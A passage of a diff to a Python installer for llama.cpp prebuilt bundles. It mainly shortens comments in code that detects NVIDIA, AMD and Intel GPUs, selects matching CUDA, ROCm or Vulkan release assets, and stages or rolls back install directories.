_dxg_probe_env.setdefault("HSA_ENABLE_DXG_DETECTION", "1")
for _cmd, _check in (
- # rocminfo: look for a real gfx GPU id (3-4 chars, nonzero first digit).
- # gfx000 is the CPU agent; ROCm 6.1+ also emits generic ISA lines like
- # "gfx11-generic" or "gfx9-4-generic" which only have 1-2 digits before
- # the dash and must not be treated as a real GPU.
+ # gfx000 is the CPU agent; generic ISA lines like "gfx11-generic" are not real GPUs.
(
["rocminfo"],
lambda out: bool(re.search(r"gfx[1-9][0-9a-z]{2,3}", out.lower())),
@@ -3332,12 +3169,7 @@ def detect_host(*, probe_rocm_with_nvidia: bool = False) -> HostInfo:
)
break
elif is_windows and (probe_rocm_with_nvidia or not has_usable_nvidia):
- # Windows: prefer active probes that validate GPU presence.
- # hipinfo / amd-smi are often NOT on PATH -- the HIP SDK installer
- # sets HIP_PATH / ROCM_PATH but does not always add the bin dir to
- # the system PATH. Mirror setup.ps1's fallback: check the env-var
- # bin dirs before giving up so that `has_rocm` is not silently False
- # on machines where the PATH is not yet updated.
+ # The HIP SDK sets HIP_PATH / ROCM_PATH but may not add its bin dir to PATH.
def _resolve_exe(name: str) -> str | None:
"""Return full path to `name`, checking PATH then HIP_PATH/ROCM_PATH bin."""
found = shutil.which(name)
@@ -3349,9 +3181,7 @@ def detect_host(*, probe_rocm_with_nvidia: bool = False) -> HostInfo:
_candidate = os.path.join(_root, "bin", f"{name}.exe")
if os.path.isfile(_candidate):
return _candidate
- # AMD torch wheels ship hipInfo.exe into the venv Scripts dir
- # (next to python.exe) -- resolvable on driver-only hosts where no
- # SDK dir exists, so a standalone rerun can still detect the GPU.
+ # AMD torch wheels ship hipInfo.exe beside python.exe, usable on driver-only hosts.
_venv_candidate = os.path.join(os.path.dirname(sys.executable), f"{name}.exe")
if os.path.isfile(_venv_candidate):
return _venv_candidate
@@ -3359,8 +3189,6 @@ def detect_host(*, probe_rocm_with_nvidia: bool = False) -> HostInfo:
_win_probes = [(["hipinfo"], lambda out: "gcnarchname" in out.lower())]
if _amd_smi_allowed():
- # Skipped on Windows w/o a HIP SDK (avoids the UAC/DiskPart prompt);
- # gfx arch still arrives via --rocm-gfx, so has_rocm is set by override.
_win_probes.append((["amd-smi", "list"], _amd_smi_has_gpu))
for _cmd, _check in _win_probes:
_exe = _resolve_exe(_cmd[0])
@@ -3373,34 +3201,19 @@ def detect_host(*, probe_rocm_with_nvidia: bool = False) -> HostInfo:
if _result.returncode == 0 and _result.stdout.strip():
if _check(_result.stdout):
has_rocm = True
- # hipinfo reports "gcnArchName: gfx1100" -- extract if present
rocm_gfx_targets = _list_rocm_gfx_targets(_result.stdout)
rocm_gfx_target = _pick_rocm_gfx_target(
_result.stdout, hip_filtered = _cmd[0] == "hipinfo"
)
break
- # Note: amdhip64.dll presence alone is NOT treated as GPU evidence
- # since the HIP SDK can be installed without an AMD GPU.
+ # amdhip64.dll alone is not GPU evidence: the HIP SDK installs without an AMD GPU.
- # Detect an Intel or AMD GPU; gates the Vulkan prebuilt. Linux reads DRM sysfs vendor ids
- # (0x8086 Intel, 0x1002 AMD); Windows reads the display-adapter registry, then WMI. Only
- # probed with no usable NVIDIA and no ROCm, matching the Vulkan branches, so
- # "without_rocm" holds by construction.
+ # Only probed with no usable NVIDIA and no ROCm, so "without_rocm" holds by construction.
has_intel_gpu = False
has_amd_gpu_without_rocm = False
if not has_usable_nvidia and not has_rocm:
- # ROCR_VISIBLE_DEVICES set means the caller asked for GPU isolation, and Vulkan honours
- # no HIP mask (it selects via GGML_VK_VISIBLE_DEVICES), so auto-routing would hand
- # llama.cpp the GPU that request hid. ROCR alone, not the three
- # _hip_visible_device_mask_set() reads: it filters the HSA agent list, while
- # HIP_VISIBLE_DEVICES and its CUDA_VISIBLE_DEVICES alias filter HIP's device list (AMD
- # GPU-isolation docs), so counting those would cost Vulkan to any host merely exporting
- # CUDA_VISIBLE_DEVICES. Windows reads all three: its probe is hipinfo, a HIP
- # application. Intel is unaffected by HIP masks.
- # Windows really does read all three, via _hip_visible_device_mask_set: the arch
- # probe there is hipinfo, so HIP_VISIBLE_DEVICES and its CUDA_VISIBLE_DEVICES alias
- # hide devices from it exactly as ROCR does, and Vulkan would then pick up a GPU the
- # caller had hidden. On Linux the probe is a sysfs walk that no HIP mask touches.
+ # Vulkan honours no HIP mask, so a caller-hidden GPU must not be auto-routed to it. Linux reads
+ # ROCR only (sysfs probe); Windows reads all three since its probe is hipinfo, a HIP app.
_amd_hidden_by_mask = (
_hip_visible_device_mask_set()
if is_windows
@@ -3419,13 +3232,10 @@ def detect_host(*, probe_rocm_with_nvidia: bool = False) -> HostInfo:
elif _vendor_id == "0x1002" and not _amd_hidden_by_mask:
has_amd_gpu_without_rocm = True
elif is_windows:
- # Registry first (in-process; see windows_intel_gpu_in_registry).
- # CIM stays the fallback for a registry that names neither adapter.
has_intel_gpu = windows_intel_gpu_in_registry()
if not _amd_hidden_by_mask:
has_amd_gpu_without_rocm = windows_amd_gpu_in_registry()
- # `and`, not `or`: either flag alone settles the Vulkan gate, and `or` made every
- # single-vendor host pay the CIM probe's 15s timeout after the registry answered.
+ # `and`, not `or`: `or` made single-vendor hosts pay the CIM probe's 15s timeout.
if not has_intel_gpu and not has_amd_gpu_without_rocm:
_ps = shutil.which("powershell") or shutil.which("pwsh")
if _ps:
@@ -3510,27 +3320,13 @@ def _apply_host_overrides(
)
gfx = _normalize_forwarded_gfx(override_rocm_gfx)
if gfx:
- # setup.ps1 and _pick_rocm_gfx_target() both apply the shadowing-iGPU preference
- # (#7776) yet can still disagree: the shells also require a wheel/bundle route, and an
- # older setup forwards a pick made without the preference at all.
- # So keep a probed active arch when the forward is only advisory, else
- # _should_auto_vulkan_for_amd_windows() reads a HIP-supported GPU the user masked
- # off and installs an unusable HIP bundle instead of Vulkan. Advisory means:
- # * another GPU the probe saw ON THIS HOST, i.e. setup picked a different card;
- # * a family label (gfx110X), a bundle name the update path emits from the marker
- # asset and never a real arch -- it would upgrade an in-generation-but-unbuilt
- # GPU (gfx1033) into a bundle it must not be served.
- # Anything else the probe never reported is an operator override for a host whose
- # arch the probe gets wrong or stale, exactly what --rocm-gfx documents, so it stays
- # authoritative. UNSLOTH_ROCM_GFX_ARCH also still wins.
+ # Keep a probed active arch when the forwarded one is only advisory (another GPU on this host,
+ # or a family label like gfx110X); any other forward is an operator override and wins.
_manual = _normalize_forwarded_gfx(os.environ.get("UNSLOTH_ROCM_GFX_ARCH"))
_physical = _host_rocm_gfx_targets(host)
_active = _active_rocm_gfx_target(host)
_advisory = gfx in _physical or gfx in WINDOWS_ROCM_FAMILY_GFX_LABELS
- # Except when setup deliberately skipped a shadowing APU for the discrete card (#7776):
- # when the probe here reads that APU as active anyway (only the iGPU enumerates under
- # HIP), dropping the forward gives torch the dGPU and llama.cpp the iGPU bundle.
- # Unmasked only: the repick must never override a pin.
+ # Unless setup skipped a shadowing APU for the dGPU; never override a pin.
if (
_advisory
and _active in SHADOWING_INTEGRATED_GFX
@@ -3545,19 +3341,11 @@ def _apply_host_overrides(
host,
has_rocm = True,
rocm_gfx_target = gfx,
- # ADD the forwarded arch to the probe's per-GPU list, never replace it: that
- # list is the PHYSICAL inventory _should_auto_vulkan_for_amd_windows() reads,
- # and a forward says which GPU HIP should target, not which cards exist.
- # Dropping a probe-confirmed GPU would let a stale below-floor forward
- # auto-route a box with a HIP-capable card to Vulkan, which then enumerates
- # that card regardless of HIP_VISIBLE_DEVICES. An empty probe still yields
- # [gfx], so the driver-only host the forward exists for keeps auto-Vulkan.
+ # ADD the forwarded arch, never replace: the list is the physical inventory the Vulkan gate reads.
rocm_gfx_targets = list(dict.fromkeys([*_physical, gfx])),
rocm_gfx_forwarded = gfx not in _physical,
)
- # The arch a previous install recorded, replayed by the updater. A remembered
- # probe result, not an operator override, so it only fills a gap: a host whose
- # GPU changed keeps whatever its own probe now reports.
+ # A remembered probe result, not an override, so it only fills a gap.
remembered = _normalize_forwarded_gfx(os.environ.get("UNSLOTH_ROCM_GFX_REMEMBERED"))
if remembered and not _active_rocm_gfx_target(host):
return dataclasses_replace(
@@ -3687,8 +3475,6 @@ def windows_cuda_attempts(
runtime_order.extend(
runtime_line for runtime_line in normal_runtime_lines if runtime_line not in runtime_order
)
- # Keep every driver-compatible line reachable as a fallback, so a line gated
- # out by the driver version still drops to an older major (cuda13 -> cuda12).
runtime_order.extend(
runtime_line
for runtime_line in compatible_runtime_lines
@@ -3706,9 +3492,6 @@ def windows_cuda_attempts(
attempts: list[AssetChoice] = []
for runtime_line in runtime_order:
major = int(runtime_line.removeprefix("cuda"))
- # Track whatever minor llama.cpp actually ships for this major
- # (cuda13 -> 13.1, 13.3, ...). Skip the line when the release has no
- # matching asset instead of guessing a now-missing name.
runtime = _published_windows_cuda_runtime(
upstream_assets, major, host.driver_cuda_version, arch
)
@@ -3730,10 +3513,7 @@ def windows_cuda_attempts(
+ ",".join(windows_cuda_upstream_asset_names(llama_tag, runtime, arch))
)
continue
- # Pair the cudart bundle when upstream ships it. Without this
- # the binary needs a system CUDA toolkit on PATH at runtime
- # (#5106). Only pair when the selected main archive is the
- # binary archive, not the cudart archive itself.
+ # Pair the cudart bundle when shipped, else the binary needs a system CUDA toolkit on PATH.
runtime_archive_name: str | None = None
runtime_archive_url: str | None = None
if selected_name.startswith("llama-"):
@@ -3785,7 +3565,6 @@ def _windows_cuda_attempt_covers_blackwell(
)
if m is not None:
return (int(m.group(1)), int(m.group(2))) >= min_toolkit
- # App-named bundles carry no minor and declare their SM coverage directly.
return attempt.max_sm is not None and attempt.max_sm >= _BLACKWELL_MIN_SM
@@ -3875,14 +3654,9 @@ def published_windows_cuda_attempts(
continue
artifacts_by_runtime.setdefault(artifact.runtime_line, []).append(artifact)
- # Order the runtime lines to try. Legacy upstream-named bundles encode a CUDA
- # minor in the filename and are driver-gated per minor. The fork's app-named
- # bundles carry no minor: their runtime line (cuda12/cuda13) is gated at the
- # CUDA *major* level (a 13.0 driver runs any cuda13 build) and by what torch
- # actually provides on the host, preferring the torch line. Routing them
- # through the synthetic-minor path wrongly dropped cuda13 on a 13.0 driver.
+ # Legacy bundles encode a CUDA minor and are driver-gated per minor; the fork's app-named
+ # bundles are gated at the major level and by torch's runtime line.
legacy_minors: list[str] = []
- # Scoped to the arch being resolved: hardcoded x64 would mis-order the arm64 runtime lines.
_legacy_pattern = rf"-bin-win-cuda-(\d+\.\d+)-{re.escape(arch)}\.zip$"
for artifact in published_artifacts:
m = re.search(_legacy_pattern, artifact.asset_name)
@@ -3907,8 +3681,7 @@ def published_windows_cuda_attempts(
else:
detected, _ = detected_windows_runtime_lines()
compatible = compatible_windows_runtime_lines(host)
- # Detected runtime lines first, then the rest the driver runs: the bundle ships its own
- # runtime, and a Pascal card beside CUDA 13 DLLs still needs cuda12-legacy.
+ # The bundle ships its own runtime, and a Pascal card beside CUDA 13 DLLs needs cuda12-legacy.
ordered_lines = [line for line in compatible if line in detected] + [
line for line in compatible if line not in detected
]
@@ -3930,34 +3703,22 @@ def published_windows_cuda_attempts(
for runtime_line in ordered_lines:
if not runtime_line:
continue
- # Pick the artifact whose SM coverage fits the host, preferring the
- # tightest targeted bundle and falling back to portable -- the same
- # policy as linux_cuda_choice_from_release. Without this, app-named
- # bundles (no minor in the filename) skip the SM filter and the
- # lowest-rank "older" bundle is chosen for every host, breaking newer
- # GPUs (e.g. Blackwell sm120 on a cuda12-older bundle capped at sm89).
+ # Filter by SM coverage, else app-named bundles skip it and break newer GPUs.
targeted: list[tuple[PublishedLlamaArtifact, str, re.Match[str] | None]] = []
portable: tuple[PublishedLlamaArtifact, str, re.Match[str] | None] | None = None
for artifact in artifacts_by_runtime.get(runtime_line, []):
asset_url = release.assets.get(artifact.asset_name)
if not asset_url:
continue
- # Two groups (major, minor), for THIS arch: the x64 spelling never matched an arm64 bundle.
am = re.search(
rf"-bin-win-cuda-(\d+)\.(\d+)-{re.escape(arch)}\.zip$", artifact.asset_name
)
- # Legacy upstream-named bundles encode the minor; gate it against the
- # driver. app-named bundles carry no minor and are driver-gated at the
- # runtime-line level by windows_cuda_attempts above.
if (
am is not None
and host.driver_cuda_version is not None
and (int(am.group(1)), int(am.group(2))) > host.driver_cuda_version
):
continue
- # Only SM-filter artifacts that declare full SM metadata (the app
- # bundles). Legacy/upstream-named artifacts without it keep the old
- # rank-based selection rather than being dropped.
has_sm_info = (
bool(artifact.supported_sms)
and artifact.min_sm is not None
@@ -3983,11 +3744,9 @@ def published_windows_cuda_attempts(
),
)[0]
)
- # The portable bundle follows the targeted one as its fallback attempt, as on Linux.
if portable is not None:
picks.append(portable)
for artifact, asset_url, am in picks:
- # See windows_cuda_attempts: pair the cudart bundle for the real minor.
runtime_archive_name: str | None = None
runtime_archive_url: str | None = None
if am is not None and artifact.asset_name.startswith("llama-"):
@@ -4115,9 +3874,6 @@ def _detect_host_rocm_version() -> tuple[int, int] | None:
try:
with open(path, encoding = "utf-8") as fh:
parts = fh.read().strip().split("-")[0].split(".")
- # Explicit length guard avoids relying on the broad except
- # below to swallow IndexError when the version file contains
- # a single component (e.g. "6\n" on a partial install).
if len(parts) >= 2:
return int(parts[0]), int(parts[1])
except Exception:
@@ -4125,8 +3881,6 @@ def _detect_host_rocm_version() -> tuple[int, int] | None:
amd_smi = shutil.which("amd-smi") if _amd_smi_allowed() else None
if amd_smi:
try:
- # Off on Windows w/o a HIP SDK (avoids the UAC/DiskPart prompt);
- # hipconfig below and the version-file reads above cover that case.
result = run_capture([amd_smi, "version"], timeout = 5)
if result.returncode == 0:
m = re.search(r"ROCm version:\s*(\d+)\.(\d+)", result.stdout)
@@ -4154,8 +3908,7 @@ def _detect_host_rocm_version() -> tuple[int, int] | None:
except Exception:
pass
- # Distro package-manager fallbacks. Deliberately diverges from install.sh and
- # _detect_rocm_version(): stops at the first answer, no "installed" status word gate.
+ # Deliberately diverges from install.sh: stops at the first answer, no status-word gate.
for _cmd in (
["dpkg-query", "-W", "-f=${Version}\n", "rocm-core"],
["rpm", "-q", "--qf", "%{VERSION}\n", "rocm-core"],
@@ -4178,7 +3931,6 @@ def _detect_host_rocm_version() -> tuple[int, int] | None:
if _result.returncode != 0 or not _result.stdout.strip():
continue
_raw = _result.stdout.strip()
- # dpkg can prepend an epoch ("1:6.3.0-1"); strip it before parsing.
_raw = re.sub(r"^\d+:", "", _raw)
_m = re.match(r"(\d+)[.-](\d+)", _raw)
if _m:
@@ -4202,12 +3954,8 @@ def published_rocm_choice_for_host(
for artifact in release.artifacts:
if artifact.install_kind != install_kind:
continue
- # Match the concrete built-arch list so an in-generation-but-unbuilt arch
- # (e.g. gfx1033 in the gfx103 family) is NOT served the family bundle and
- # falls back to a source build. Also accept the family label itself: the
- # llama.cpp update path re-derives --rocm-gfx from the family-named marker
- # asset, so an update forwards the family token (gfx110X), not a concrete
- # arch.
+ # Match concrete built archs so an unbuilt in-family arch (gfx1033) is not served; also accept
+ # the family label, which the update path forwards.
mapped = {target.lower() for target in artifact.mapped_targets}
if gfx not in mapped and gfx != (artifact.gfx_target or "").lower():
continue
@@ -4235,20 +3983,8 @@ def published_rocm_choice_for_host(
def resolve_upstream_asset_choice(host: HostInfo, llama_tag: str) -> AssetChoice:
upstream_assets = github_release_assets(UPSTREAM_REPO, llama_tag)
if host.is_linux and host.is_x86_64:
- # AMD ROCm: try upstream ROCm prebuilt first, then fall back to source build.
- # Source build (via setup.sh) compiles with -DGGML_HIP=ON and auto-detects
- # the exact GPU target via rocminfo, which is more reliable for consumer
- # GPUs (e.g. gfx1151) that may not be in the prebuilt.
if host.has_rocm and not host.has_usable_nvidia:
- # Upstream combined ROCm tarball.
- # Scan upstream assets for any rocm-<version> prebuilt. When the
- # host ROCm runtime version is known, pick the newest candidate
- # whose major.minor is <= host version -- otherwise a ROCm 6.4
- # host would download the rocm-7.2 tarball, fail preflight, and
- # fall back to a source build even though a compatible 6.4
- # prebuilt exists. If no compatible candidate matches (e.g. host
- # runtime is older than every published prebuilt), fall back to
- # the numerically newest so we at least try something.
+ # Pick the newest ROCm tarball not newer than the host runtime, else the newest overall.
_rocm_pattern = re.compile(
rf"llama-{re.escape(llama_tag)}-bin-ubuntu-rocm-([0-9]+(?:\.[0-9]+)*)-x64\.tar\.gz"
)
@@ -4267,10 +4003,6 @@ def resolve_upstream_asset_choice(host: HostInfo, llama_tag: str) -> AssetChoice
item for item in rocm_candidates if item[0][:2] <= _host_rocm_version
]
if rocm_candidates and not _compatible:
- # Fall back to the newest candidate so a source build is
- # not forced when the host runtime is older than every
- # published prebuilt: preflight will still catch a true
- # incompatibility and trigger a fallback.
_compatible = rocm_candidates[:1]
if _compatible:
rocm_name = _compatible[0][1]
@@ -4293,21 +4025,17 @@ def resolve_upstream_asset_choice(host: HostInfo, llama_tag: str) -> AssetChoice
source_label = "upstream",
install_kind = "linux-rocm",
)
- # No ROCm prebuilt available -- fall back to source build
raise PrebuiltFallback(
"AMD ROCm detected but no upstream ROCm prebuilt found; "
"falling back to source build with HIP support"
)
- # Intel or AMD GPU with no usable ROCm: the Vulkan prebuilt. No PHYSICAL NVIDIA, since
- # Vulkan ignores CUDA_VISIBLE_DEVICES. The ROCm branch above still wins wherever ROCm
- # runs; this only rescues hosts falling through to CPU.
+ # No PHYSICAL NVIDIA, since Vulkan ignores CUDA_VISIBLE_DEVICES.
if (
(host.has_intel_gpu or host.has_amd_gpu_without_rocm)
and not host.has_physical_nvidia
and not host.has_rocm
):
- # Name the vendor actually found: this branch now also covers AMD.
vendor = "Intel GPU" if host.has_intel_gpu else "AMD GPU without usable ROCm"
vulkan_name = f"llama-{llama_tag}-bin-ubuntu-vulkan-x64.tar.gz"
if vulkan_name in upstream_assets:
@@ -4341,11 +4069,7 @@ def resolve_upstream_asset_choice(host: HostInfo, llama_tag: str) -> AssetChoice
)
if attempts:
return attempts[0]
- # A Blackwell host left with only an sm_120-incapable cuda-12.4 build
- # (upstream gated off 13.3) has no usable GPU prebuilt here; fall
- # through to the CPU bundle rather than returning a build it cannot
- # offload. A non-Blackwell NVIDIA host with no CUDA asset at all is
- # still a hard fallback.
+ # A Blackwell host with only an sm_120-incapable cuda-12.4 build falls through to CPU.
if not _host_is_blackwell(host):
raise PrebuiltFallback("no compatible Windows CUDA asset was found")
@@ -4404,7 +4128,6 @@ def resolve_upstream_asset_choice(host: HostInfo, llama_tag: str) -> AssetChoice
)
if host.is_windows and host.is_arm64:
- # CUDA first on an NVIDIA host, then the CPU bundle; without this branch every Windows ARM64 host fell through to a source build.
if host.has_usable_nvidia and _upstream_arm64_cuda_allowed():
attempts = _drop_blackwell_incapable_windows_cuda(
host,
@@ -4485,8 +4208,7 @@ def resolve_release_asset_choice(
release: PublishedReleaseBundle,
checksums: ApprovedReleaseChecksums,
) -> list[AssetChoice]:
- # A masked NVIDIA host too, as on Linux: it fell through to windows-cpu below, and
- # with no CUDA match it source-builds with CUDA (PrebuiltFallback), never CPU.
+ # A masked NVIDIA host with no CUDA match source-builds with CUDA, never CPU.
masked_host = (
_masked_nvidia_selection_host(host) if host.is_windows and host.is_x86_64 else None
)
@@ -4551,7 +4273,6 @@ def resolve_release_asset_choice(
published_choice: AssetChoice | None = None
if host.is_windows and host.is_x86_64:
- # Intel OR AMD-without-usable-ROCm, mirroring the Linux branch.
if (
(host.has_intel_gpu or host.has_amd_gpu_without_rocm)
and not host.has_physical_nvidia
@@ -4567,13 +4288,7 @@ def resolve_release_asset_choice(
]
if choices:
return apply_approved_hashes(choices, checksums)
- # AMD Windows hosts prefer the fork's per-gfx windows-rocm bundle when one
- # covers the GPU; otherwise fall through to resolve_asset_choice(). Note
- # that on the fork repo the upstream win-hip archive has no approved hash,
- # so apply_approved_hashes drops it and an uncovered gfx lands on a HIP
- # source build (auto-detecting its exact gfx) rather than an upstream
- # prebuilt. We still avoid hard-pinning windows-cpu here so a CPU bundle
- # never shadows that ROCm path.
+ # Do not hard-pin windows-cpu here so a CPU bundle never shadows the ROCm path.
if host.has_rocm:
published_choice = published_rocm_choice_for_host(release, host, "windows-rocm")
else:
@@ -4874,8 +4589,7 @@ def hydrate_source_tree(
if exact_source
else upstream_source_archive_urls(source_ref)
)
- # Prefer the published release asset (the only copy of a mix build's merged
- # tree); fall back to codeload/archive for vanilla builds whose commit is real.
+ # The release asset is the only copy of a mix build's merged tree.
source_urls = ([asset_url] if asset_url else []) + repo_urls
label = source_label or f"llama.cpp source tree for {source_ref}"
extract_dir = Path(tempfile.mkdtemp(prefix = "source-extract-", dir = work_dir))
@@ -5006,14 +4720,7 @@ def runtime_patterns_for_choice(choice: AssetChoice) -> list[str]:
def runtime_patterns_for_install_kind(
install_kind: str, source_label: "str | None" = None
) -> list[str]:
- # Broad shared-library glob + explicit binary names. Lets upstream
- # repackage the SO/DLL set (e.g. ggml-org/llama.cpp#23462 split the
- # per-binary entry code into paired ``lib<binary>-impl.so`` shared
- # libraries between b9279 and b9283) without us re-enumerating
- # every new file. Unsloth invokes llama-server, llama-quantize, and the
- # DiffusionGemma visual-server (when the bundle ships it, for native
- # DiffusionGemma serving); other CLIs upstream ships (llama-cli,
- # llama-bench, ...) are skipped.
+ # Broad shared-library glob so upstream can repackage the SO/DLL set without re-enumerating.
if install_kind in {
"linux-cpu",
"linux-cuda",
@@ -5028,7 +4735,6 @@ def runtime_patterns_for_install_kind(
"llama-server",
"llama-quantize",
"llama-diffusion-gemma-visual-server",
- # Optional Metal memory probe; missing bundles keep the conservative estimate.
"llama-fit-params",
"lib*.dylib",
]
@@ -5112,7 +4818,6 @@ def unique_install_side_path(install_dir: Path, label: str) -> Path:
def blocked_replace_hint(winerror: object) -> str:
- # 5 is also what a scanner holding a handle returns (is_busy_lock_error: busy).
if winerror == 5:
return (
"access is denied -- a scanner or running process may still hold a handle, "
@@ -5142,9 +4847,7 @@ def _tree_link_state(root: Path) -> str:
def log_acl_repair(path: Path) -> None:
- # Printed, never run: repairing permissions is the user's call (#9928).
- # takeown /R and icacls /T follow links, so recursion is offered only for a tree
- # fully listed and link-free; otherwise just the root, which is not a link.
+ # Printed, never run. takeown /R and icacls /T follow links, so recurse only on a link-free tree.
state = _tree_link_state(path)
if state == "link":
log(f"rename still denied after retrying; {path} contains a link, check its permissions")
@@ -5193,7 +4896,6 @@ def replace_with_busy_retry(
transient = os.name == "nt" and winerror in (5, 32, 145)
if not transient or attempt == attempts - 1:
if acl_repair and transient and winerror == 5:
- # src, not dst: the aside-move's dst does not exist yet.
log_acl_repair(src)
raise
log(
@@ -5237,14 +4939,9 @@ def _clear_readonly_and_retry(func: Callable[[str], Any], path: str, excinfo: An
def _rmtree_handler_kwargs() -> dict[str, Any]:
- # Windows only: it is the one platform where a read-only entry blocks its
- # own removal. On POSIX the unlink permission lives on the parent, so a
- # chmod of the entry cannot help, and S_IWRITE is an assignment rather than
- # a bit clear, leaving the directory at 0o200 and harder to delete by hand.
+ # Windows only: on POSIX unlink permission lives on the parent, and S_IWRITE would leave 0o200.
if os.name != "nt":
return {}
- # onexc replaced the now-deprecated onerror in 3.12; both pass
- # (function, path, error), so one handler covers the 3.9 floor.
if sys.version_info >= (3, 12):
return {"onexc": _clear_readonly_and_retry}
return {"onerror": _clear_readonly_and_retry}
@@ -5290,8 +4987,6 @@ def cleanup_install_side_paths(
raise RuntimeError("cleanup failed for " + "; ".join(cleanup_failures))
-# The tail unique_install_side_path appends after "<name>.<label>-":
-# 14 digit UTC timestamp, pid, optional collision counter.
_INSTALL_SIDE_PATH_TAIL = re.compile(r"\d{14}-\d+(?:-\d+)?")
@@ -5299,21 +4994,11 @@ def _install_side_path_candidates(install_dir: Path, label: str) -> list[Path]:
root = install_dir.parent / INSTALL_STAGING_ROOT_NAME
if not root.is_dir():
return []
- # glob.escape because the install directory name reaches here from
- # UNSLOTH_LLAMA_CPP_PATH, and an unescaped bracket in it would match the
- # side paths of a *different* install in the same parent, holding a
- # different install lock.
+ # glob.escape: the name comes from UNSLOTH_LLAMA_CPP_PATH and could match another install's paths.
prefix = f"{install_dir.name}.{label}-"
pattern = f"{glob.escape(install_dir.name)}.{label}-*"
- # escape only neutralises * ? and [; the trailing * can still run past the
- # end of this install's name into a sibling called "<name>.rollback-<sfx>",
- # whose side paths share this staging root, so an update here could delete
- # the last retained copy of an install whose lock we do not hold. Hence the
- # tail check rather than a per-install staging namespace: rehoming the
- # staging root would strand every tree a shipped version already parked
- # there. Only our own tail shape matches; a sibling's carries its own
- # ".<label>-" separator. Link roots are excluded: rmtree refuses them, and
- # a linked side path points at a tree this installer did not create.
+ # The trailing * can run into a sibling "<name>.rollback-<sfx>"; the tail check excludes it.
+ # Link roots are excluded: rmtree refuses them.
return sorted(
path
for path in root.glob(pattern)
@@ -5445,23 +5130,10 @@ def activate_staged_dir(staging_dir: Path, dst: Path) -> None:
try:
os.replace(staging_dir, dst)
except OSError as exc:
- # busy/in-use (Windows AV) or cross-device (Docker overlayfs) are both safe to
- # complete by copy + remove; anything else re-raises
if not (is_busy_lock_error(exc) or is_cross_device_error(exc)):
raise
log(f"os.replace failed ({exc!r}); falling back to file-by-file copy of staging tree")
- # symlinks = True, like the aside-move and rollback-restore copies below. The
- # default DEREFERENCES every link, so each soname alias is written out as a
- # full second copy of its library. Measured on the linux-x64-cuda12 bundle
- # this branch exists for (Docker overlayfs EXDEV): 5 symlinks, 13.1 MiB
- # duplicated. Not the headline number one might expect -- the 358 MB
- # libggml-cuda.so is a regular file and is copied once either way -- but it is
- # wasted bytes and it replaces the link topology the loader resolves against.
- # dirs_exist_ok stays for the empty-dst case
- # os.replace also accepts; a NON-empty dst never reaches here on one device
- # (ENOTEMPTY re-raises above), and if a partially removed aside-move left one
- # behind, os.symlink's FileExistsError fails the activation into the rollback
- # path instead of silently half-merging two installs.
+ # symlinks=True keeps soname links; a leftover non-empty dst fails in os.symlink, not a merge.
shutil.copytree(staging_dir, dst, dirs_exist_ok = True, symlinks = True)
remove_tree(staging_dir)
@@ -5495,8 +5167,7 @@ def move_install_dir_aside(
if not is_cross_device_error(exc):
raise
if _is_link_or_junction(src):
- # copytree always follows the ROOT it is given, so copying a linked
- # install would duplicate a checkout this installer does not own
+ # copytree follows the ROOT, so a linked install would duplicate a checkout we do not own.
log("install path is a link; not copying it aside")
raise
copy_tmp = dst.with_name(dst.name + ".copying")
@@ -5506,17 +5177,7 @@ def move_install_dir_aside(
copy_tmp = dst.with_name(f"{dst.name}.copying-{counter}")
log(f"os.replace cross-device ({exc!r}); copy+publish {src} -> {dst}")
try:
- # symlinks = True, matching the rollback-restore copy below. The default
- # DEREFERENCES links inside the tree, and a Linux llama.cpp bundle is full
- # of soname links (libllama.so.0 -> libllama.so), so the aside copy would
- # duplicate every shared library and, restored after a failed activation,
- # replace the install's link topology with independent files. Safe here
- # only because copy_tmp is a fresh uniquified path: combined with
- # dirs_exist_ok it raises FileExistsError on any name the destination
- # already holds, which is why the remaining dirs_exist_ok calls in this
- # file (which merge into populated trees) cannot simply be given the same
- # flag. activate_staged_dir can, because a dst os.replace refused is empty
- # or absent.
+ # symlinks=True is safe here only because copy_tmp is fresh; merges into populated trees cannot use it.
shutil.copytree(src, copy_tmp, symlinks = True)
os.replace(copy_tmp, dst)
except BaseException:
@@ -5548,8 +5209,6 @@ def activate_install_tree(staging_dir: Path, install_dir: Path, host: HostInfo)
except Exception as exc:
log(f"activation failed for staged install: {exc}")
if had_existing and not moved_aside:
- # The aside-move never ran, so install_dir still holds the working
- # install; it must not be moved or cleaned up.
log("existing install could not be moved aside; leaving it in place")
if is_busy_lock_error(exc):
raise BusyInstallConflict(
@@ -5570,18 +5229,13 @@ def activate_install_tree(staging_dir: Path, install_dir: Path, host: HostInfo)
failed_dir = unique_install_side_path(install_dir, "failed")
log(f"moving failed active install to {failed_dir}")
try:
- # not a bare os.replace: in a Docker build the failed tree and
- # the staging root can sit on different overlay layers, and EXDEV
- # there must not cost the retained copy
+ # Not os.replace: in Docker the trees can sit on different overlay layers (EXDEV).
move_install_dir_aside(install_dir, failed_dir)
except Exception as failed_move_exc:
failed_dir = None
log(f"failed active install could not be moved aside: {failed_move_exc}")
if rollback_dir is None:
raise
- # install_dir holds the unvalidated staged tree while the
- # only copy of the previous install waits in rollback_dir,
- # so drop it rather than give up on the restore.
remove_tree_logged(install_dir, "failed active install path")
elif staging_dir.exists():
failed_dir = staging_dir
@@ -5592,22 +5246,11 @@ def activate_install_tree(staging_dir: Path, install_dir: Path, host: HostInfo)
log(f"restoring rollback path {rollback_dir} -> {install_dir}")
restore_attempted = True
try:
- # A copy fallback follows, so ACL advice here could name a tree it then removes.
replace_with_busy_retry(rollback_dir, install_dir, acl_repair = False)
except OSError as restore_exc:
- # The rename is the one-step restore; when it cannot run,
- # the rollback tree is the sole remaining llama.cpp, so a
- # copy (slower, needs the space twice) beats handing the
- # user an empty install path. A copy that dies partway
- # leaves install_dir where a bare rename failure would
- # have, and the cleanup below removes it while the rollback
- # tree stays retained.
+ # The rollback tree is the sole remaining llama.cpp, so a copy beats an empty install path.
if _is_link_or_junction(rollback_dir):
- # The aside-move renamed a link, not a tree. copytree
- # honours symlinks *inside* what it copies but always
- # follows the root, so this would replace a user's
- # --with-llama-cpp-dir link with a real duplicate of a
- # checkout the installer does not own.
+ # copytree follows the root link, which would duplicate a user's --with-llama-cpp-dir checkout.
log("previous install is a link; not copying it back")
raise
log(
@@ -5615,18 +5258,11 @@ def activate_install_tree(staging_dir: Path, install_dir: Path, host: HostInfo)
f"back to {install_dir}"
)
try:
- # symlinks = True so a link inside the install is never
- # dereferenced into a real tree; dirs_exist_ok stays off
- # so a leftover tree at install_dir is never merged into
- # a half-and-half install confirm_install_tree accepts.
shutil.copytree(rollback_dir, install_dir, symlinks = True)
